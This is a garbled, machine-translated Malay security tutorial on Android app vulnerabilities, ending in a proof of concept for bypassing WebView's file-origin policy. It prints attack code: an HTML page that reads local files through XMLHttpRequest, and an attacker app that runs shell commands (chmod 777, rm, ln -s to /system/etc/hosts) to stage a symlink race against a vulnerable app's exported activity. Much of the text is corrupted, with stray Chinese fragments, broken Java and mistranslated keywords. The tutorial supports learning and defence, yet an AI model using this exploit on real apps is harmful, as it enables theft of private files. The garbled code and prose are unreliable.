Rumah  >  Artikel  >  Operasi dan penyelenggaraan  >  WebView Fail Domain Asal Dasar Bypass Analisis Contoh Kerentanan

WebView Fail Domain Asal Dasar Bypass Analisis Contoh Kerentanan

王林
王林ke hadapan
2023-05-15 08:22:141556semak imbas

Pengetahuan asas seni bina Android

  • Lapisan kernel kernel
    Kerentanan amat berbahaya dan mempunyai fleksibiliti yang kuat
    Disebabkan pemacu yang banyak dan kompleks, mungkin terdapat menjadi banyak Kerentanan

  • Lapisan perpustakaan runtime sistem perpustakaan

    • Pustaka runtime system yang disediakan dalam bentuk middleware sistem
      termasuk libc, WebKit, SQLite, dsb.

    • AndroidRunTime
      Mesin maya Dalvik dan pustaka kernel

  • FrameWork lapisan rangka kerja aplikasi
    Menyediakan satu siri perkhidmatan dan antara muka API

    • Pengurus Aktiviti

    • Pembekal Kandungan

    • Lihat

    • Penjelajah

    • Pengurus Pemberitahuan

  • Lapisan aplikasi aplikasi

    • Aplikasi sistem
      Skrin utama, Kenalan, Telefon, Pelayar

    • Aplikasi lain
      Program yang dilaksanakan oleh pembangun menggunakan API lapisan rangka kerja aplikasi

Komponen biasa Android

  • Aktiviti keaktifan

  • Perkhidmatan perkhidmatan

  • Penerima siaran BroadcastRecviver

  • Pembekal kandungan ContentProvider

Kerentanan Biasa Apl Android (10 Teratas Mudah Alih OWASP) Penggunaan platform yang tidak betul

  • Gambaran Keseluruhan
    Penyalahgunaan fungsi platform, atau kegagalan untuk Keupayaan untuk menggunakan kawalan keselamatan platform . Seperti penyalahgunaan niat, penyalahgunaan kebenaran, dsb.

  • Risiko
    sangat luas dan mungkin melibatkan pelbagai perkhidmatan pada platform mudah alih

  • Contoh
    Dalam sistem iOS, data kata laluan disimpan dalam fail tempatan dan bukannya dalam rantai kunci, yang mengakibatkan ia dibaca daripada data sandaran yang disulitkan pseudo
    Dalam sistem Android, penggunaan yang tidak betul Niat menyebabkan pengguna berniat jahat merampas dan mengubah suai kandungan niat melakukan sebarang tindakan dengan kebenaran identiti proses asal

  • Storan data tidak selamat

  • <.>Komunikasi tidak selamat


Kerentanan biasa dan kaedah perlombongan Kerentanan penyimpanan data

  • Fail atau direktori data

  • Kosongkan storan teks

    • MODE_PRIVATE
    • Kosongkan storan teks

    • Mod MODE_PRIVATE tidak digunakan semasa mencipta pangkalan data

    • Mod MODE_PRIVATE tidak digunakan semasa mencipta fail konfigurasi, menyebabkan atur cara lain membaca fail konfigurasi
    • disimpan dalam teks yang jelas, manakala pengguna akar Boleh Dibaca, membawa kepada kebocoran data sensitif

    • SharedPreferences
    • data/data /package name/shared_prefs/*.xml


    • SQLiteDatabases
    • data/data package name/database/*.db


    • InternalStorage
    • data/data/program Pendaftaran/fail/*


    • ExternalStorage
    • / mnt/sdcard/*



    • Kaedah pengesanan

  • Semak imbas pelbagai fail dan direktori dalam direktori nama pakej /data/data/ dan semak sama ada terdapat fail dan direktori yang boleh dibaca oleh pengguna lain Fail
    • Semak fail konfigurasi, pangkalan data, dsb. untuk melihat sama ada terdapat maklumat sensitif teks biasa

    • Kaedah perlombongan


  • Pengesanan kod
      Semak sama ada parameter mod openFileOutput, getSharedPrefreences, openOrCreateDatabase dan fungsi lain ialah MODE_PRIVATE(0x0000)


    • Kerentanan komunikasi data

Gunakan protokol teks biasa seperti HTTP untuk menghantar maklumat sensitif ke pelayan


  • Tangkap komunikasi teks yang jelas melalui penghidu LAN, WIFI awam yang berniat jahat, perkhidmatan proksi berniat jahat , rampasan DNS, dsb., mengakibatkan serangan man-in-the-middle

    • Pengesahan sijil SSL yang lemah

  • Cari .method public checkServerTrusted
    • Cari .method dan kaedah tamat

    • Semak sama ada terdapat return-void

    • Begitu juga semak sama ada nilai pulangan pengesahan(String, SSLSession) sentiasa Benar dan sama ada parameter X509HostnameVerifier ialah ALLOW_ALLHOSTNAME_VERIFIER


    • Dayakan fungsi penghuraian HTTPS Fiddler, jana dan eksport sijil yang ditandatangani sendiri, dan pasangkannya pada telefon anda

    • Dayakan proksi Fiddler dan benarkan akses jauh Hos menyambung kepada proksi


    • APP tidak mempunyai pengesahan sijil SSL

      Pelanggan harus melaksanakan kelas X509TruestManager, termasuk tiga kaedah checkServerTrustedcheckClientTrustedgetInstance

    • Kegagalan untuk mengesahkan sijil akan menyebabkan pengecualian, yang kemudiannya akan dikendalikan oleh aplikasi

    • Kegagalan untuk mengesahkan sijil pelayan akan membawa kepada TLS man-in- serangan tengah

      Apabila menggunakan HttpsURLConnection, nama hos tidak disahkan apabila melaksanakan HostnameVerifier tersuai dan nama domain sijil serta nama tapak tidak disemak secara lalai untuk melihat sama ada ia sepadan. Atau apabila menetapkan HostnameVerifier HttpsURLConnection, tetapkannya kepada ALLOW_ALL_HOSTNAME_VERIIER untuk menerima semua nama domain.

    • Kaedah serangan


    • Kaedah perlombongan. 🎜>



    • Pengesahan kukuh sijil SSL

      boleh dilangkau oleh Xp, Patch dan kaedah lain

Kerentanan pendedahan komponen

  • Android:exported ialah atribut biasa kepada empat komponen utama, digunakan untuk menunjukkan sama ada aplikasi lain disokong untuk memanggil komponen semasa

  • Jika terdapat penapis niat, nilai lalai adalah benar; jika tidak, nilai lalai adalah palsu

  • Kawalan kebenaran eksport yang dieksport komponen

  • Memintas pengesahan

    • Selepas aktiviti didedahkan, ia dipanggil oleh pihak ketiga dan boleh log masuk /set semula kata laluan tanpa kata laluan

  • Kebocoran maklumat sensitif

    • recviver diaktifkan oleh pihak ketiga selepas didedahkan, dan penyahpepijatan serta maklumat lain boleh dilihat Maklumat sensitif yang terkandung dalam

  • Uree kuasa


    • Rendah Program istimewa melaksanakan tindakan keistimewaan tinggi

  • kaedah perlombongan



    dengan memanggil komponen yang didedahkan oleh program keistimewaan tinggi
    • Lihat AndroidManifest.xml

    • Lakukan keselamatan penilaian melalui alat attacksurface drozer

Kerentanan penyulitan yang lemah

  • Pengekodan keras kata laluan
    Penyahsusun, paparan akar, dsb. boleh diperolehi

  • penyulitan lemah AES/DES
    Mod ECB terdedah kepada serangan analisis atau main semula

Paparan Web

terutamanya merangkumi tiga kelemahan:

  • Pelaksanaan kod sewenang-wenangnya

    • Tulis halaman web yang merentasi objek. Jika terdapat kaedah getClass, terdapat kelemahan pelaksanaan kod jauh

    • Skrip Fiddler's before membenarkan sebarang paparan web diuji apabila mengakses mana-mana halaman web

    • Selepas Android 4.2, kaedah yang dianotasi dengan addJavascriptInterface boleh dipanggil dengan kaedah java dalam halaman web. Jika tiada penapisan, mungkin terdapat kelemahan

    • Kaedah perlombongan:

  • Kawalan domain bukan ketat

    • setAllowFileAccess

    • setAllowFileAccessFromFileURLs

    • setAllowFileAccess ke remote pendedahan maklumat sensitif)

    • Fail tempatan boleh diakses melalui serangan pautan simbolik: tidak kira betapa terhadnya, js boleh mengakses fail ini. Dengan menangguhkan pelaksanaan dan menggantikan fail semasa dengan pautan lembut yang menghala ke fail lain, fail yang ditunjuk oleh pautan simbolik boleh dibaca


    • WebView jika pasangan dibuka JavaScript sokongan, dan tiada sekatan pada URL dalam bentuk fail:///, akan membawa kepada kebocoran maklumat sensitif seperti kuki, fail peribadi, pangkalan data, dll.



  • Storan kata laluan dalam teks yang jelas

    Apabila pengguna memilih untuk menyimpan nama pengguna dan kata laluan yang dimasukkan dalam WebViEW, mereka akan disimpan dalam teks yang jelas dalam data.db dalam direktori aplikasi
    Seorang penyerang dengan kebenaran root boleh membacanya

Ringkasan proses perlombongan kerentanan

  • Analisis statik

    Kesan dan dapatkan sasaran analisis utama dengan pantas

    • Semak fail AndroidManifest

    • Analisis skrip Kod Smali


  • Analisis dinamik

    Pengesahan dan penilaian bahaya risiko yang disyaki

    • Analisis mod nyahpepijat

    • Cuba pengesahan operasi/kelemahan

    • drozer

    • Data analisis tangkapan paket dan antara muka


  • Analisis terbalik

    Pemecahan penyulitan dan analisis lanjut logik dan kod




    • -

  • Sistem bantuan automatik


    • MobSF termasuk antara muka web bahagian hadapan,

    • Marvin termasuk Antara Muka web bahagian hadapan, masalah penggunaan

    • Pemalam Xposed Inspeckage


Hari ini kita akan bercakap tentang kelemahan WebView

[Java] Paparan teks biasa Salin kod

?

Alamat kod contoh: https://github.com/jltxgcy/AppVulnerability /tree/master/WebViewFileDemo.

Atau github saya: https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1


Perbezaan utama antara kod berikut ialah attack_file dimuatkan kali ini. html

Aktiviti Utama kelas awam memanjangkan Aktiviti {

Paparan web peribadi

Uri mUri peribadi

url String peribadi; String mUrl1 = "file:///android_asset/html/attack_file.html";

//String mUrl2 = "file:///android_asset/html/test.html"

@ Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); webView = (WebView) findViewById(R.id.webview);

        webView.getSettings().setJavaScriptEnabled(true);  

        webView.addJavascriptInterface(JSInterface() baharu, "jsInterface");  

        webView.getSettings().setAllowFileAccessFromFileURLs(true);  

        webView.setWebChromeClient(new WebChromeClient() {  

            @Override 

                view public booler t hasil) {  

        webView.loadUrl(mUrl1);  

    }  

    kelas JSInterface {  

        public String onButtonClick(String text) {  

    =   ;   s   textring  

            runOnUiThread(new Runnable() {  

                @Override 

                                        awam              Log.e("leehong2", "onButtonClick: text = " + str);

toast.makeText (getApplicationContext ()," onButtonClick: text = " + str, toast.length_long) .show (); 🎜>            });  

            return "Teks ini dikembalikan daripada lapisan Java.  js text = " + text;  

        }  

        public void onImageClick(String url, int width, int height) {  

            final String +wid str =" + "url th = "" + lebar + "  tinggi = " + tinggi;  

            Log.i("leehong2", str);  

            runOnUiThread(new Runnable() {  

                @Override 

                                        awam              Toast.makeText(getApplicationContext(), str, Toast .LENGTH_LONG).tunjukkan();  

                }  

            });  

        }  

    }  

}

这里webView.getSettings().setAllowFileAccessFromFileURLScripts(翗迗行迗迗迗迗迗这迗过这这里fail文件。

   我们再来看attack_file.html的代码:'

  

  

  

function stealFile()  

{  

    var file = "file:///mnt/sdcard/233.txt";  

    var xmlHttpReq = XMLHttpRequest();  

    xmlHttpReq.onreadystatechange = function(){  

        if(xmlHttpReq.readyState == 4){  

              makluman semula;  

        }  

    }  

xmlHttpReq.open("GET", file);  

xmlHttpReq.send(null);  

}  

curiFail();  

  

  

 

由于setAllowFileAccessFromFileURLs为true,所以webView.load这个html可以/这个html可以/返/回。 >

如果setAllowFileAccessFromFileURLs为false,webView.load这个html不可以返回/mnt/sdcard/2333.txt的值。

即使URcesssetFromFileAccess不这个不不一一们返Access过一种方式也可以跨过这个限制,这个我下一次讲讲.

Mula-mula jalankan WebViewFileDemo1, dan kemudian jalankan AttackWebView untuk menyerang WebView.

Mula-mula kita lihat WebViewFileDemo1, kod utama adalah seperti berikut:

pakej com.example.webviewfiledemo [/; saiz][/ font][/p]

import android.app.Activity;

import android.content.Intent;

import android.net.Uri; 🎜>

import android.os.Bundle;

import android.util.Log;

import android.webkit.JsResult; ;

import android.webkit.WebView;

import android.widget.Toast; private Uri mUri;

url String peribadi;

@Override

dilindungi void (Bundle savedInstanceState) {

super.onCreate(savedInstanceState); 🎜>

setContentView(R.layout.activity_main);

webView = (WebView) findViewById(R.id.webview);

webView.addJavascriptInterface(new JSInterface(), "jsInterface");

webView.getSettings().setAllowFileAccessFromFileURLs(false); ().setAllowFileAccess(false);

webView.setWebChromeClient(WebChromeClient() baharu {

@Override

public boolean onJsAlert(WebView url, String message Hasil Js) {

                                                                                                                                                                                                                                                                                          🎜>

}) ; > jika (i != null) {

mUri = i.getData();

}

if (mUri != null) {

url = mUri.toString(); } }

if (url != null) {

webView.loadUrl(url(url);

} }

}

}

Aktiviti Ini Terima Niat dari luar, ekstrak URL dalam Niat dan muatkannya.

Kemudian mari kita lihat projek AttackWebView, iaitu projek yang menghantar Intent ke com.example.webviewfiledemo.MainActivity. Kodnya adalah seperti berikut:

Aktiviti Utama kelas awam memanjangkan Aktiviti {

HTML String statik akhir awam =

"" +

" " +

"" +

"var d = document;"+

" function doitjs( ){"+

"var xhr = new XMLHttpRequest;"+

"xhr.onload = function(){"+

"var txt = xhr .responseT ext; "+

"d.body.appendChild(d.createTextNode(txt));"+

"alert(txt);"+"};"+

"xhr.open('GET',d.URL);"+ "xhr.send(null);"+

"xhr.send(null);"+

(doitjs,8000);"+

            ""+  

            "";  

    rentetan statik awam MY_TMP_DIR;  

    @Override 

    protected void onCreate(Bundle savedInstanceState) {  

        super.onCreate(savedInstanceState);  

        setContentView(R.layout.activity_main);  

        MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath();  

        doit();  

    }  

    public void doit() {  

        String HTML_PATH = MY_TMP_DIR + "/A0" + ".html";  

        cuba {  

            cmdexec("mkdir " + MY_TMP_DIR);  

            cmdexec("echo "" + HTML + "" > " + HTML_PATH);  

            cmdexec("chmod -R 777 " + MY_TMP_DIR);  

            Thread.sleep(1000);  

            invokeVulnAPP("file://" + HTML_PATH);  

            Thread.sleep(6000);  

            cmdexec("rm " + HTML_PATH);  

            cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);  

        } tangkapan (Pengecualian e) {  

            // TODO: handle exception  

        }  

       } PP(String url) {  

        cuba {  

            Niat niat = Niat baharu(Intent.ACTION_MAIN,Uri.parse(url));  

            intent.addCategory(Intent.CATEGORY_LAUNCHER);   

            intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");  

            mulakanAktiviti(niat);  

        } tangkapan (Pengecualian e) {  

            // TODO: handle exception  

        }  

              cm                                                                   } cmd) {  

        cuba {  

            Rentetan[] tmp = Rentetan baharu[] { "/system/bin/sh", "-c", cmd };  

            Runtime.getRuntime().exec(tmp);  

        } tangkapan (Pengecualian e) {  

            // TODO: kendalikan pengecualian   

        }  

       }  >

     } 🎜>通过invokeVulnAPP,打开了com.example.webviewfiledemo.MainActivity并传递了Intent。这个Activity提取了Url,Url为/sdcard/个这语.html,webview/庆个这个这个这个,html内容如下:

HTML String statik akhir awam =   

        "" +  


        "Tunggu beberapa saat." +   

        "" +  

        "var d = document;"+  

        "function doitjs(){"+  

        "var xhr = XMLHttp baharu

        "var txt = xhr.responseText;"+  

        "d.body.appendChild(d.createTextNode(txt));"+

        "alert(txt);"+"};"+  

        "xhr.open('GET',d.URL);"+  

        "xhr. hantar(null);"+  

        "}"+  

"setTimeout(doitjs,8000);"+ ""+ "";

Apabila WebViewFileDemo1 berfungsi Selepas webView memuatkan A0.html, fungsi ini html adalah untuk menangguhkan membaca A0.html sendiri selama 8 saat. Mari kita kembali ke projek AttackWebView dan lihat kod tersebut.

cmdexec("mkdir " + MY_TMP_DIR);


cmdexec("echo "" + HTML + "" > " + HTML_PATH("chmod -R 777 "); + MY_TMP_DIR);

Thread.sleep(1000);

invokeVulnAPP("file://" + HTML_PATH); >

cmdexec("rm " + HTML_PATH);

cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);

Panggilan selesai Selepas invokeVulnAPP, 6 saat kemudian, kami mula-mula memadamkan A0.html, dan kemudian menyambungkannya dengan lembut ke /system/etc/hosts sekali lagi. Ambil perhatian bahawa apabila webView dalam projek WebViewFileDemo1 memuatkan A0.html pada masa ini, fungsi html ini adalah untuk menangguhkan membaca A0.html itu sendiri selama 8 saat, jadi sambungan lembut /system/etc/hosts dibaca selepas 8 saat.

Atas ialah kandungan terperinci WebView Fail Domain Asal Dasar Bypass Analisis Contoh Kerentanan. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam